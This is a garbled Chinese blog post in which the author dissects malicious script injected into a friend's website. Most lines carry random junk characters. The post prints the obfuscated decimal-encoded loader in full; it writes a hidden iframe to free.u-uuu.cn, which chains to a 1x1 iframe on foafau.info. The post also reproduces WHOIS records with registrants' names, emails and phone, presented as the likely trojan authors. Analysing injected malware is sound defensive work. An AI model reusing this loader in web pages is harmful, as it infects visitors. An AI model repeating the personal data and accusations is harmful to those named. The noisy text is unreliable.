首发在我的博客里面，
"4AQpD y$N o o)Z http://www.areway.cn/?p=175 Oydmq,sVe( 0-~x[\>> ?i=!UN 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
R51!j>[fqM Cb-E<W&2D <script>t=’60,105,102,114,97,109,101,
XFe7qt;% 32,115,114,99,61,104,116,116,112,58,47,47,
! HC<aWb 102,114,101,101,46,117,45,117,117,117,46,99,
*g6o ;c 110,47,101,114,114,111,114,46,104,116,109,
Czxrn2p/ 32,119,105,100,116,104,61,49,48,48,32,104,
# Kr.!uD 101,105,103,104,116,61,48,62,60,47,105,102,
OIT;fKl9 114,97,109,101,62′;
bD-Em#> t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
A+DYIS ay|{!MkQ <script>t=’60,105,102,114,97,109,101,32,115,
-B(K Q T,J 114,99,61,104,116,116,112,58,47,47,102,114,
\8aF(Y^H 101,101,46,117,45,117,117,117,46,99,110,47,
>7q,[:(gs 101,114,114,111,114,46,104,116,109,32,119,
X($SBUS6 105,100,116,104,61,49,48,48,32,104,101,105,
K7VG\Ec 103,104,116,61,48,62,60,47,105,102,114,97,
l!` 0I] } 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
9iNns;^`q document.write(t);</script>
e .^9&Fk"N _?c.3+;s <html xmlns=”
.)zISa*Xy http://www.w3.org/1999/xhtml 0.0!5D[ “>
] w_)Spo. <head>
R!qrb26k <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
N+75wtLy& <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
,quTMtk ~ <title>首页 - 爱生活家庭网
P tOnj)Q c `; LF'! 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Z?mg1 ;Q 转换字符串后的大概内容是（谁点击后果自付）：
~]M" <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
;)a9Y? W10fjMC}^ 查询玉米u-uuu.cn的详细信息：
x&vD,|V! Domain Name: u-uuu.cn
~ }22 Dvo ROID: 20070901s10001s64972306-cn
:/q O*&i,N Domain Status: ok
%MNV 5UA[w Registrant Organization: 王雷
V5 r7eC Registrant Name: 王雷
= h( n+y< Administrative Email:
czlovexs@126.com A,)E LVk1F Sponsoring Registrar: 北京万网志成科技有限公司
?!oa 15 Name Server:ns.yovole.com
e 8 bJ ] Name Server:ns1.yovole.com
Am
$L Registration Date: 2007-09-01 17:54
H/Q)zDP Expiration Date: 2008-09-01 17:54
v2sU$M 最后PING了一下地址 都没有什么….
:5J6rj;_ 0 XzO`* 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
>IjLFM+ U <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
] '/]j <script language=”javascript” src=”
Jo <6M' http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ;$< ek(i7 >
Z+(V \ 这个玉米应该有可能是木马作者的：
7 d)' y foafau.info的详细信息：
nDy=ZsK Access to INFO WHOIS information is provided to assist persons in
Bx4GFCdifC determining the contents of a domain name registration record in the
cO&9(.d Afilias registry database. The data in this record is provided by
)xy6R]_b Afilias Limited for informational purposes only, and Afilias does not
qw1J{xoHW guarantee its accuracy. This service is intended only for query-based
LP /4e` access. You agree that you will use this data only for lawful purposes
GGtrH~zx and that, under no circumstances will you use this data to: (a) allow,
EQC enable, or otherwise support the transmission by e-mail, telephone, or
RC%r7K f facsimile of mass unsolicited, commercial advertising or solicitations
@x
+#ZD( to entities other than the data recipient’s own existing customers; or
G|_aU8b|t (b) enable high volume, automated, electronic processes that send
G9Tix\SpF queries or data to the systems of Registry Operator, a Registrar, or
#jiqRhm Afilias except as reasonably necessary to register domain names or
)A=g# D# modify existing registrations. All rights reserved. Afilias reserves
V" iLeC the right to modify these terms at any time. By submitting this query,
~7'.{VrU you agree to abide by this policy.
aS G2K0 Domain ID:D22418703-LRMS
YU(*kC8 Domain Name:FOAFAU.INFO
7:'>~>' Created On:20-Nov-2007 16:05:42 UTC
V.:A'!$# Last Updated On:20-Nov-2007 16:05:44 UTC
(=V[tI+Ngt Expiration Date:20-Nov-2008 16:05:42 UTC
,$$$_+m\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
%$| k3[4V Status:CLIENT DELETE PROHIBITED
B)8Hj).@B Status:CLIENT RENEW PROHIBITED
K9'*q3z Status:CLIENT TRANSFER PROHIBITED
_1Gut"!{\ Status:CLIENT UPDATE PROHIBITED
HYmXPpse Status:TRANSFER PROHIBITED
S]O Hv6 Registrant ID:GODA-040110615
ZN eqsN{ Registrant Name:liu hong
[)vwg`] Registrant Organization:
r0
C6Ww7u Registrant Street1:beijing
mkzk$ _ Registrant Street2:
x~tQ YK Registrant Street3:
REBDr;tv Registrant City:beijing
/j@ `aG(a Registrant State/Province:
|/s 2AzDD Registrant Postal Code:100000
6qpV53H Registrant Country:CN
@A'1D@f# Registrant Phone:+86.860108888777
I.1l Registrant Phone Ext.:
v=-3 ,C Registrant FAX:
9Ib(x0_ Registrant FAX Ext.:
?I#hrv@ Registrant Email:bbbshiji@163.com
6*33k'=;F Admin ID:GODA-240110615
CT%m_l N Admin Name:liu hong
pY#EXZ# Admin Organization:
)^f
Q@C8 Admin Street1:beijing
OUO^/]
J1S Admin Street2:
^T6!z^g1h Admin Street3:
W+C_=7_ Admin City:beijing
v} ;qMceJ Admin State/Province:
0.+eF }'H Admin Postal Code:100000
8lSn*;S, Admin Country:CN
dU^<7 K:S Admin Phone:+86.860108888777
Ab<Ok\e5 Admin Phone Ext.:
_x1[$A,GuB Admin FAX:
[ c[MQA0 Admin FAX Ext.:
)Hm[j)YI Admin Email:bbbshiji@163.com
y$V)^-U>fw Billing ID:GODA-340110615
U*"cf>dB( Billing Name:liu hong
]Ja8i%LjOG Billing Organization:
fYM6wYJ Billing Street1:beijing
7qK0!fk5 Billing Street2:
M 8j(1&(: Billing Street3:
cGzYW~K Billing City:beijing
;Jn0 e:x`E Billing State/Province:
4{WV Billing Postal Code:100000
^J~A+CEf"W Billing Country:CN
Zbh]SF{3F Billing Phone:+86.860108888777
3b\8907 Billing Phone Ext.:
;s. 5\YZ"k Billing FAX:
~.9o{?pbG Billing FAX Ext.:
jNG?2/P6& Billing Email:bbbshiji@163.com
>fA@tUQB Tech ID:GODA-140110615
R:B BNzY}f Tech Name:liu hong
7e{X$' Tech Organization:
^~<Rz q! Tech Street1:beijing
[^}>AC*im Tech Street2:
Bx : So6: Tech Street3:
bZay/ Zkj Tech City:beijing
j[J@ tM# Tech State/Province:
K[>@'P}y Tech Postal Code:100000
'}pgUh_ Tech Country:CN
P[GX }~_k Tech Phone:+86.860108888777
jw(> @SXz Tech Phone Ext.:
={E! 8 " Tech FAX:
io r [v Tech FAX Ext.:
_[vdY|_ Tech Email:bbbshiji@163.com
Tb0;Mbr Name Server:NS27.DOMAINCONTROL.COM
q?-3^z%u Name Server:NS28.DOMAINCONTROL.COM
K
l0tyeT Name Server:
'W?v.W & Name Server:
KjwY'aYwr: Name Server:
S|q!? /jqj Name Server:
&e]]F# Name Server:
PVD ~W)0m* Name Server:
L_lDFF Name Server:
M o"JV Name Server:
W93JY0Ls9| Name Server:
0 gOrW= Name Server:
&<w [4z\ Name Server:
!(]dz~sM X=p3KzzX 接着下载每个文件里面的代码：
XHZ:
mLf 一步一步看..
BU]WN7]D$ 
Z ]aK' 
OSa}8rlr' 
I)XOAf$6 
TXJY2J*24 
Z`oaaO 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
